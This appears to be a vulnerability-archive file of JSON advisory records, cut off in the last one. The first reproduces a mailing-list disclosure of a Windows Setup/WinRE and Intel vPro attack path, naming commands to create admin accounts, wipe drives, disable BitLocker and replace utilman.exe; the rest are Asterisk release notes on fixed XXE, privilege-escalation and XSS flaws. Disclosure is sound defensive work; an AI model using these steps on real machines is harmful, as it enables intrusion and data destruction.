Vulnerability Disclosure Archive

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Public Disclosure",
          "vendor": "Public",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Darsh Naik"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "\ud83d\udd13 The Attack Path \u2014 No Login, SYSTEM Access\n\n1. Boot into setup.exe (via USB, PXE, or OOBM like Intel vPro).\n2. Click \u201cRepair your computer\u201d \u2192 Enter WinRE.\n3. Press Shift + F10 \u2192 SYSTEM-level Command Prompt.\n4. From there, attacker can:\n   - Run `net user` to create new admin accounts\n   - Use `diskpart` to wipe or reformat drives\n   - Use `manage-bde -off` or `bcdedit` to disable BitLocker\n   - Replace `utilman.exe` to bypass login\n   - Implant persistence or backdoors\n\n\ud83e\udde0 Why BitLocker Doesn\u2019t Save You\n\n- BitLocker is inactive in Setup or WinRE \u2014 the OS hasn\u2019t loaded, and the\nBitLocker driver isn\u2019t running.\n- If BitLocker is TPM-only (no PIN/USB), the drive is already unlocked at\nboot.\n- TPM 2.0 *can* block key release \u2014 but only if:\n  - Secure Boot is enforced\n  - PCR bindings are tightly configured\n  - Boot order is locked\n  - USB/PXE boot is disabled\n  - OOBM is secured\n\nMost orgs don\u2019t meet all those conditions. Even if BitLocker triggers\nrecovery, an attacker can still wipe the drive or implant malware.\n\nCVE-2025-26637 and tools like BitUnlocker show how these vectors are\nbeing actively explored.\n\n\ud83e\udde8 \u201cBut We Have Immutable Backups\u201d\n\nThat protects data availability \u2014 not system integrity.\n\nIf I implant malware or create a hidden admin account, you\u2019ll restore into\na compromised environment. Immutable backups don\u2019t detect or prevent:\n- Credential theft\n- Persistence\n- Backdoored reboots\n- Silent compromise of trust\n\n\ud83c\udf10 Remote Risk: OOBM\n\nWith Intel vPro, I can:\n- Mount virtual media\n- Boot into Setup or WinRE\n- Execute all of the above remotely, without touching the device\n\nIntel\u2019s own docs highlight how vPro enables remote boot and media mounting\n\u2014 a dream for IT, and a gift for attackers if misconfigured.\n\n\ud83e\uddf1 This Isn\u2019t About \u201cWasting Access\u201d\n\nIt\u2019s about how Microsoft\u2019s own tooling enables unauthenticated SYSTEM\naccess in environments that are supposed to be secure.\n\nIf your only defense is \u201cwell, that\u2019s by design,\u201d then the design *is* the\nvulnerability.\n\n\ud83d\udd12 BIOS/UEFI Passwords: A Broken Mitigation\n\nMicrosoft may argue that setting a BIOS/UEFI password mitigates this\nattack. But in practice, this \u201cdefense\u201d is deeply flawed:\n\n- **No visual feedback**: Users can\u2019t see what they\u2019re typing \u2014 no\nasterisks, no characters, nothing.\n- **No Caps Lock indicator**: If Caps Lock is on, users won\u2019t know \u2014 and\ntheir input silently fails.\n- **No support for special characters**: Most firmware restricts input to\nbasic alphanumeric characters.\n- **Short password limits**: Many systems cap passwords at 8\u201316 characters.\n- **No brute-force protection**: Some BIOS/UEFI setups don\u2019t lock out after\nfailed attempts.\n\nThe result? Users get scared, fumble their input, and retreat to normal\nboot \u2014 where the system is already unlocked and vulnerable. The illusion of\nsecurity becomes the attack vector.\n\nIf this is the only mitigation, then the system is fundamentally broken.\n\n\u2014 Darsh\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T11:06:17Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/15"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Feb/15"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Feb/15"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "\ud83d\udea8 Public Disclosure: Remote BitLocker Bypass via Intel AMT \u2014 SYSTEM Access Without Login",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2025-26637",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0196",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/15",
            "automated": true,
            "contentSha256": "f040d4b4fe72eaa256389d7d98535d9e6a80d6854206acaf9f0d0980779cb650",
            "evidenceScore": 6,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Feb/15",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-02-15T04:56:38Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0196"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:57:41Z",
    "dateUpdated": "2026-09-11T11:06:17Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0196"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Security Release",
          "vendor": "Asterisk",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Asterisk Development Team via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "The Asterisk Development Team would like to announce security release  \nAsterisk 23.2.2.\n\nThe release artifacts are available for immediate download at  \nhttps://github.com/asterisk/asterisk/releases/tag/23.2.2\nand\nhttps://downloads.asterisk.org/pub/telephony/asterisk\n\nRepository: https://github.com/asterisk/asterisk\nTag: 23.2.2\n\n\n## Change Log for Release asterisk-23.2.2\n\n### Links:\n\n - [Full ChangeLog](https://downloads.asterisk.org/pub/telephony/asterisk/releases/ChangeLog-23.2.2.html)  \n - [GitHub Diff](https://github.com/asterisk/asterisk/compare/23.2.1...23.2.2)  \n - [Tarball](https://downloads.asterisk.org/pub/telephony/asterisk/asterisk-23.2.2.tar.gz)  \n - [Downloads](https://downloads.asterisk.org/pub/telephony/asterisk)  \n\n### Summary:\n\n- Commits: 4\n- Commit Authors: 2\n- Issues Resolved: 0\n- Security Advisories Resolved: 4\n  - [GHSA-85x7-54wr-vh42](https://github.com/asterisk/asterisk/security/advisories/GHSA-85x7-54wr-vh42): Asterisk xml.c \nuses unsafe XML_PARSE_NOENT leading to potential XXE Injection\n  - [GHSA-rvch-3jmx-3jf3](https://github.com/asterisk/asterisk/security/advisories/GHSA-rvch-3jmx-3jf3): ast_coredumper \nrunning as root sources ast_debug_tools.conf from /etc/asterisk; potentially leading to privilege escalation\n  - [GHSA-v6hp-wh3r-cwxh](https://github.com/asterisk/asterisk/security/advisories/GHSA-v6hp-wh3r-cwxh): The Asterisk \nembedded web server\u0027s /httpstatus page echos user supplied values(cookie and query string) without sanitization\n  - [GHSA-xpc6-x892-v83c](https://github.com/asterisk/asterisk/security/advisories/GHSA-xpc6-x892-v83c): ast_coredumper \nruns as root, and writes gdb init file to world writeable folder; leading to potential privilege escalation \n\n### User Notes:\n\n- #### ast_coredumper: check ast_debug_tools.conf permissions\n  ast_debug_tools.conf must be owned by root and not be\n  writable by other users or groups to be used by ast_coredumper or\n  by ast_logescalator or ast_loggrabber when run as root.\n\n\n### Upgrade Notes:\n\n- #### http.c: Change httpstatus to default disabled and sanitize output.\n  To prevent possible security issues, the `/httpstatus` page\n  served by the internal web server is now disabled by default.  To explicitly\n  enable it, set `enable_status=yes` in http.conf.\n\n\n### Developer Notes:\n\n\n### Commit Authors:\n\n- George Joseph: (2)\n- Mike Bradeen: (2)\n\n## Issue and Commit Detail:\n\n### Closed Issues:\n\n  - !GHSA-85x7-54wr-vh42: Asterisk xml.c uses unsafe XML_PARSE_NOENT leading to potential XXE Injection\n  - !GHSA-rvch-3jmx-3jf3: ast_coredumper running as root sources ast_debug_tools.conf from /etc/asterisk; potentially \nleading to privilege escalation\n  - !GHSA-v6hp-wh3r-cwxh: The Asterisk embedded web server\u0027s /httpstatus page echos user supplied values(cookie and \nquery string) without sanitization\n  - !GHSA-xpc6-x892-v83c: ast_coredumper runs as root, and writes gdb init file to world writeable folder; leading to \npotential privilege escalation \n\n### Commits By Author:\n\n- #### George Joseph (2):\n\n- #### Mike Bradeen (2):\n\n### Commit List:\n\n-  xml.c: Replace XML_PARSE_NOENT with XML_PARSE_NONET for xmlReadFile.\n-  ast_coredumper: check ast_debug_tools.conf permissions\n-  http.c: Change httpstatus to default disabled and sanitize output.\n-  ast_coredumper: create gdbinit file with restrictive permissions\n\n### Commit Details:\n\n#### xml.c: Replace XML_PARSE_NOENT with XML_PARSE_NONET for xmlReadFile.\n  Author: George Joseph\n  Date:   2026-01-15\n\n  The xmlReadFile XML_PARSE_NOENT flag, which allows parsing of external\n  entities, could allow a potential XXE injection attack.  Replacing it with\n  XML_PARSE_NONET, which prevents network access, is safer.\n\n  Resolves: #GHSA-85x7-54wr-vh42\n\n#### ast_coredumper: check ast_debug_tools.conf permissions\n  Author: Mike Bradeen\n  Date:   2026-01-15\n\n  Prevent ast_coredumper from using ast_debug_tools.conf files that are\n  not owned by root or are writable by other users or groups.\n\n  Prevent ast_logescalator and ast_loggrabber from doing the same if\n  they are run as root.\n\n  Resolves: #GHSA-rvch-3jmx-3jf3\n\n  UserNote: ast_debug_tools.conf must be owned by root and not be\n  writable by other users or groups to be used by ast_coredumper or\n  by ast_logescalator or ast_loggrabber when run as root.\n\n#### http.c: Change httpstatus to default disabled and sanitize output.\n  Author: George Joseph\n  Date:   2026-01-15\n\n  To address potential security issues, the httpstatus page is now disabled\n  by default and the echoed query string and cookie output is html-escaped.\n\n  Resolves: #GHSA-v6hp-wh3r-cwxh\n\n  UpgradeNote: To prevent possible security issues, the `/httpstatus` page\n  served by the internal web server is now disabled by default.  To explicitly\n  enable it, set `enable_status=yes` in http.conf.\n\n#### ast_coredumper: create gdbinit file with restrictive permissions\n  Author: Mike Bradeen\n  Date:   2026-01-15\n\n  Modify gdbinit to use the install command with explicit permissions (-m 600)\n  when creating the .ast_coredumper.gdbinit file. This ensures the file is\n  created with restricted permissions (readable/writable only by the owner)\n  to avoid potential privilege escalation.\n\n  Resolves: #GHSA-xpc6-x892-v83c\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T11:06:00Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/9"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Feb/9"
        },
        {
          "url": "https://downloads.asterisk.org/pub/telephony/asterisk"
        },
        {
          "url": "https://downloads.asterisk.org/pub/telephony/asterisk/asterisk-23.2.2.tar.gz"
        },
        {
          "url": "https://downloads.asterisk.org/pub/telephony/asterisk/releases/ChangeLog-23.2.2.html"
        },
        {
          "url": "https://github.com/asterisk/asterisk"
        },
        {
          "url": "https://github.com/asterisk/asterisk/compare/23.2.1...23.2.2"
        },
        {
          "url": "https://github.com/asterisk/asterisk/releases/tag/23.2.2"
        },
        {
          "url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-85x7-54wr-vh42"
        },
        {
          "url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-rvch-3jmx-3jf3"
        },
        {
          "url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-v6hp-wh3r-cwxh"
        },
        {
          "url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-xpc6-x892-v83c"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Feb/9"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Asterisk Security Release 23.2.2",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0209",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/9",
            "automated": true,
            "contentSha256": "64270a0283360cb24760ed289d14e1e03ed88f0d226f35fb71bfbc330f36085b",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Feb/9",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-02-05T16:58:35Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:57:42Z",
    "dateUpdated": "2026-09-11T11:06:00Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0209"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Security Release",
          "vendor": "Asterisk",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Asterisk Development Team via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "The Asterisk Development Team would like to announce security release  \nAsterisk 21.12.1.\n\nThe release artifacts are available for immediate download at  \nhttps://github.com/asterisk/asterisk/releases/tag/21.12.1\nand\nhttps://downloads.asterisk.org/pub/telephony/asterisk\n\nRepository: https://github.com/asterisk/asterisk\nTag: 21.12.1\n\n\n## Change Log for Release asterisk-21.12.1\n\n### Links:\n\n - [Full ChangeLog](https://downloads.asterisk.org/pub/telephony/asterisk/releases/ChangeLog-21.12.1.html)  \n - [GitHub Diff](https://github.com/asterisk/asterisk/compare/21.12.0...21.12.1)  \n - [Tarball](https://downloads.asterisk.org/pub/telephony/asterisk/asterisk-21.12.1.tar.gz)  \n - [Downloads](https://downloads.asterisk.org/pub/telephony/asterisk)  \n\n### Summary:\n\n- Commits: 4\n- Commit Authors: 2\n- Issues Resolved: 0\n- Security Advisories Resolved: 4\n  - [GHSA-85x7-54wr-vh42](https://github.com/asterisk/asterisk/security/advisories/GHSA-85x7-54wr-vh42): Asterisk xml.c \nuses unsafe XML_PARSE_NOENT leading to potential XXE Injection\n  - [GHSA-rvch-3jmx-3jf3](https://github.com/asterisk/asterisk/security/advisories/GHSA-rvch-3jmx-3jf3): ast_coredumper \nrunning as root sources ast_debug_tools.conf from /etc/asterisk; potentially leading to privilege escalation\n  - [GHSA-v6hp-wh3r-cwxh](https://github.com/asterisk/asterisk/security/advisories/GHSA-v6hp-wh3r-cwxh): The Asterisk \nembedded web server\u0027s /httpstatus page echos user supplied values(cookie and query string) without sanitization\n  - [GHSA-xpc6-x892-v83c](https://github.com/asterisk/asterisk/security/advisories/GHSA-xpc6-x892-v83c): ast_coredumper \nruns as root, and writes gdb init file to world writeable folder; leading to potential privilege escalation \n\n### User Notes:\n\n- #### ast_coredumper: check ast_debug_tools.conf permissions\n  ast_debug_tools.conf must be owned by root and not be\n  writable by other users or groups to be used by ast_coredumper or\n  by ast_logescalator or ast_loggrabber when run as root.\n\n\n### Upgrade Notes:\n\n- #### http.c: Change httpstatus to default disabled and sanitize output.\n  To prevent possible security issues, the `/httpstatus` page\n  served by the internal web server is now disabled by default.  To explicitly\n  enable it, set `enable_status=yes` in http.conf.\n\n\n### Developer Notes:\n\n\n### Commit Authors:\n\n- George Joseph: (2)\n- Mike Bradeen: (2)\n\n## Issue and Commit Detail:\n\n### Closed Issues:\n\n  - !GHSA-85x7-54wr-vh42: Asterisk xml.c uses unsafe XML_PARSE_NOENT leading to potential XXE Injection\n  - !GHSA-rvch-3jmx-3jf3: ast_coredumper running as root sources ast_debug_tools.conf from /etc/asterisk; potentially \nleading to privilege escalation\n  - !GHSA-v6hp-wh3r-cwxh: The Asterisk embedded web server\u0027s /httpstatus page echos user supplied values(cookie and \nquery string) without sanitization\n  - !GHSA-xpc6-x892-v83c: ast_coredumper runs as root, and writes gdb init file to world writeable folder; leading to \npotential privilege escalation \n\n### Commits By Author:\n\n- #### George Joseph (2):\n\n- #### Mike Bradeen (2):\n\n### Commit List:\n\n-  xml.c: Replace XML_PARSE_NOENT with XML_PARSE_NONET for xmlReadFile.\n-  ast_coredumper: check ast_debug_tools.conf permissions\n-  http.c: Change httpstatus to default disabled and sanitize output.\n-  ast_coredumper: create gdbinit file with restrictive permissions\n\n### Commit Details:\n\n#### xml.c: Replace XML_PARSE_NOENT with XML_PARSE_NONET for xmlReadFile.\n  Author: George Joseph\n  Date:   2026-01-15\n\n  The xmlReadFile XML_PARSE_NOENT flag, which allows parsing of external\n  entities, could allow a potential XXE injection attack.  Replacing it with\n  XML_PARSE_NONET, which prevents network access, is safer.\n\n  Resolves: #GHSA-85x7-54wr-vh42\n\n#### ast_coredumper: check ast_debug_tools.conf permissions\n  Author: Mike Bradeen\n  Date:   2026-01-15\n\n  Prevent ast_coredumper from using ast_debug_tools.conf files that are\n  not owned by root or are writable by other users or groups.\n\n  Prevent ast_logescalator and ast_loggrabber from doing the same if\n  they are run as root.\n\n  Resolves: #GHSA-rvch-3jmx-3jf3\n\n  UserNote: ast_debug_tools.conf must be owned by root and not be\n  writable by other users or groups to be used by ast_coredumper or\n  by ast_logescalator or ast_loggrabber when run as root.\n\n#### http.c: Change httpstatus to default disabled and sanitize output.\n  Author: George Joseph\n  Date:   2026-01-15\n\n  To address potential security issues, the httpstatus page is now disabled\n  by default and the echoed query string and cookie output is html-escaped.\n\n  Resolves: #GHSA-v6hp-wh3r-cwxh\n\n  UpgradeNote: To prevent possible security issues, the `/httpstatus` page\n  served by the internal web server is now disabled by default.  To explicitly\n  enable it, set `enable_status=yes` in http.conf.\n\n#### ast_coredumper: create gdbinit file with restrictive permissions\n  Author: Mike Bradeen\n  Date:   2026-01-15\n\n  Modify gdbinit to use the install command with explicit permissions (-m 600)\n  when creating the .ast_coredumper.gdbinit file. This ensures the file is\n  created with restricted permissions (readable/writable only by the owner)\n  to avoid potential privilege escalation.\n\n  Resolves: #GHSA-xpc6-x892-v83c\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T11:05:58Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/8"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Feb/8"
        },
        {
          "url": "https://downloads.asterisk.org/pub/telephony/asterisk"
        },
        {
          "url": "https://downloads.asterisk.org/pub/telephony/asterisk/asterisk-21.12.1.tar.gz"
        },
        {
          "url": "https://downloads.asterisk.org/pub/telephony/asterisk/releases/ChangeLog-21.12.1.html"
        },
        {
          "url": "https://github.com/asterisk/asterisk"
        },
        {
          "url": "https://github.com/asterisk/asterisk/compare/21.12.0...21.12.1"
        },
        {
          "url": "https://github.com/asterisk/asterisk/releases/tag/21.12.1"
        },
        {
          "url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-85x7-54wr-vh42"
        },
        {
          "url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-rvch-3jmx-3jf3"
        },
        {
          "url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-v6hp-wh3r-cwxh"
        },
        {
          "url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-xpc6-x892-v83c"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Feb/8"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Asterisk Security Release 21.12.1",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0208",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/8",
            "automated": true,
            "contentSha256": "2a87891560a677a39539e7fee7e9a886576fe91ec5bc4d827bee5fee145c0a6a",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Feb/8",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-02-05T16:55:03Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:57:42Z",
    "dateUpdated": "2026-09-11T11:05:58Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0208"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Security Release",
          "vendor": "Asterisk",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Asterisk Development Team via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "The Asterisk Development Team would like to announce security release  \nAsterisk 22.8.2.\n\nThe release artifacts are available for immediate download at  \nhttps://github.com/asterisk/asterisk/releases/tag/22.8.2\nand\nhttps://downloads.asterisk.org/pub/telephony/asterisk\n\nRepository: https://github.com/asterisk/asterisk\nTag: 22.8.2\n\n\n## Change Log for Release asterisk-22.8.2\n\n### Links:\n\n - [Full ChangeLog](https://downloads.asterisk.org/pub/telephony/asterisk/releases/ChangeLog-22.8.2.html)  \n - [GitHub Diff](https://github.com/asterisk/asterisk/compare/22.8.1...22.8.2)  \n - [Tarball](https://downloads.asterisk.org/pub/telephony/asterisk/asterisk-22.8.2.tar.gz)  \n - [Downloads](https://downloads.asterisk.org/pub/telephony/asterisk)  \n\n### Summary:\n\n- Commits: 4\n- Commit Authors: 2\n- Issues Resolved: 0\n- Security Advisories Resolved: 4\n  - [GHSA-85x7-54wr-vh42](https://github.com/asterisk/asterisk/security/advisories/GHSA-85x7-54wr-vh42): Asterisk xml.c \nuses unsafe XML_PARSE_NOENT leading to potential XXE Injection\n  - [GHSA-rvch-3jmx-3jf3](https://github.com/asterisk/asterisk/security/advisories/GHSA-rvch-3jmx-3jf3): ast_coredumper \nrunning as root sources ast_debug_tools.conf from /etc/asterisk; potentially leading to privilege escalation\n  - [GHSA-v6hp-wh3r-cwxh](https://github.com/asterisk/asterisk/security/advisories/GHSA-v6hp-wh3r-cwxh): The Asterisk \nembedded web server\u0027s /httpstatus page echos user supplied values(cookie and query string) without sanitization\n  - [GHSA-xpc6-x892-v83c](https://github.com/asterisk/asterisk/security/advisories/GHSA-xpc6-x892-v83c): ast_coredumper \nruns as root, and writes gdb init file to world writeable folder; leading to potential privilege escalation \n\n### User Notes:\n\n- #### ast_coredumper: check ast_debug_tools.conf permissions\n  ast_debug_tools.conf must be owned by root and not be\n  writable by other users or groups to be used by ast_coredumper or\n  by ast_logescalator or ast_loggrabber when run as root.\n\n\n### Upgrade Notes:\n\n- #### http.c: Change httpstatus to default disabled and sanitize output.\n  To prevent possible security issues, the `/httpstatus` page\n  served by the internal web server is now disabled by default.  To explicitly\n  enable it, set `enable_status=yes` in http.conf.\n\n\n### Developer Notes:\n\n\n### Commit Authors:\n\n- George Joseph: (2)\n- Mike Bradeen: (2)\n\n## Issue and Commit Detail:\n\n### Closed Issues:\n\n  - !GHSA-85x7-54wr-vh42: Asterisk xml.c uses unsafe XML_PARSE_NOENT leading to potential XXE Injection\n  - !GHSA-rvch-3jmx-3jf3: ast_coredumper running as root sources ast_debug_tools.conf from /etc/asterisk; potentially \nleading to privilege escalation\n  - !GHSA-v6hp-wh3r-cwxh: The Asterisk embedded web server\u0027s /httpstatus page echos user supplied values(cookie and \nquery string) without sanitization\n  - !GHSA-xpc6-x892-v83c: ast_coredumper runs as root, and writes gdb init file to world writeable folder; leading to \npotential privilege escalation \n\n### Commits By Author:\n\n- #### George Joseph (2):\n\n- #### Mike Bradeen (2):\n\n### Commit List:\n\n-  xml.c: Replace XML_PARSE_NOENT with XML_PARSE_NONET for xmlReadFile.\n-  ast_coredumper: check ast_debug_tools.conf permissions\n-  http.c: Change httpstatus to default disabled and sanitize output.\n-  ast_coredumper: create gdbinit file with restrictive permissions\n\n### Commit Details:\n\n#### xml.c: Replace XML_PARSE_NOENT with XML_PARSE_NONET for xmlReadFile.\n  Author: George Joseph\n  Date:   2026-01-15\n\n  The xmlReadFile XML_PARSE_NOENT flag, which allows parsing of external\n  entities, could allow a potential XXE injection attack.  Replacing it with\n  XML_PARSE_NONET, which prevents network access, is safer.\n\n  Resolves: #GHSA-85x7-54wr-vh42\n\n#### ast_coredumper: check ast_debug_tools.conf permissions\n  Author: Mike Bradeen\n  Date:   2026-01-15\n\n  Prevent ast_coredumper from using ast_debug_tools.conf files that are\n  not owned by root or are writable by other users or groups.\n\n  Prevent ast_logescalator and ast_loggrabber from doing the same if\n  they are run as root.\n\n  Resolves: #GHSA-rvch-3jmx-3jf3\n\n  UserNote: ast_debug_tools.conf must be owned by root and not be\n  writable by other users or groups to be used by ast_coredumper or\n  by ast_logescalator or ast_loggrabber when run as root.\n\n#### http.c: Change httpstatus to default disabled and sanitize output.\n  Author: George Joseph\n  Date:   2026-01-15\n\n  To address potential security issues, the httpstatus page is now disabled\n  by default and the echoed query string and cookie output is html-escaped.\n\n  Resolves: #GHSA-v6hp-wh3r-cwxh\n\n  UpgradeNote: To prevent possible security issues, the `/httpstatus` page\n  served by the internal web server is now disabled by default.  To explicitly\n  enable it, set `enable_status=yes` in http.conf.\n\n#### ast_coredumper: create gdbinit file with restrictive permissions\n  Author: Mike Bradeen\n  Date:   2026-01-15\n\n  Modify gdbinit to use the install command with explicit permissions (-m 600)\n  when creating the .ast_coredumper.gdbinit file. This ensures the file is\n  created with restricted permissions (readable/writable only by the owner)\n  to avoid potential privilege escalation.\n\n  Resolves: #GHSA-xpc6-x892-v83c\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T11:05:55Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/7"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Feb/7"
        },
        {
          "url": "https://downloads.asterisk.org/pub/telephony/asterisk"
        },
        {
          "url": "https://downloads.asterisk.org/pub/telephony/asterisk/asterisk-22.8.2.tar.gz"
        },
        {
          "url": "https://downloads.asterisk.org/pub/telephony/asterisk/releases/ChangeLog-22.8.2.html"
        },
        {
          "url": "https://github.com/asterisk/asterisk"
        },
        {
          "url": "https://github.com/asterisk/asterisk/compare/22.8.1...22.8.2"
        },
        {
          "url": "https://github.com/asterisk/asterisk/releases/tag/22.8.2"
        },
        {
          "url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-85x7-54wr-vh42"
        },
        {
          "url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-rvch-3jmx-3jf3"
        },
        {
          "url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-v6hp-wh3r-cwxh"
        },
        {
          "url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-xpc6-x892-v83c"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Feb/7"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Asterisk Security Release 22.8.2",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0207",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/7",
            "automated": true,
            "contentSha256": "97bef087e6f08475ab13336fcacd6fc9c293202f4bfecc0dfce2563e87fdcf75",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Feb/7",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-02-05T16:51:10Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:57:42Z",
    "dateUpdated": "2026-09-11T11:05:55Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0207"
  },
  "dataType": "CVE_RECORD",
